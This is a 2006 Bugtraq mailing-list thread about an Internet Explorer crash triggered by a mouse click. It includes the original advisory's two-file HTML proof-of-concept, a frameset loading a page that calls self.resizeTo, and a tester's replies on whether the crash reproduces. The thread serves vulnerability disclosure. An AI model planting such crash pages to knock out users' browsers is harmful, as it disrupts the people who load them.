Sorry, the bug is perfectly reproducible. I skipped clicking the mouse after loading the page. - Siddhartha -----Original Message----- From: Jain, Siddhartha Sent: Tuesday, May 23, 2006 12:18 PM To: 'mac68k@xxxxxxxxx'; bugtraq@xxxxxxxxxxxxxxxxx Subject: RE: Microsoft Internet Explorer - Crash on mouse button click Worked only once on my PC. Windows XP SP2 with IE 6.0.2900 Re-visiting the PoC page doesn't reproduce the crash. - Siddhartha -----Original Message----- From: mac68k@xxxxxxxxx [mailto:mac68k@xxxxxxxxx] Sent: Saturday, May 20, 2006 6:24 AM To: bugtraq@xxxxxxxxxxxxxxxxx Subject: Microsoft Internet Explorer - Crash on mouse button click Title: Microsoft Internet Explorer - Crash on mouse button click Author: Kil13r - http://www.kil13r.info/ Local / Remote: Both Date of discovery: 2003/12/28 Release date: 2006/05/20 Affected software: Microsoft Internet Explorer Description: There is a bug in Microsoft Internet Explorer, which causes a crash on mouse button click. PoC exploit code: 1) exploit_1.html <frameset cols="0%, *"> <frame src="exploit_2.html"> </frameset> 2) exploit_2.html <SCRIPT> self.resizeTo(2003, 1228); </SCRIPT> PoC exploit sample: http://www.kil13r.info/iebug/exploit_1.html PoC exploit screenshot: http://www.kil13r.info/iebug/screenshot.jpg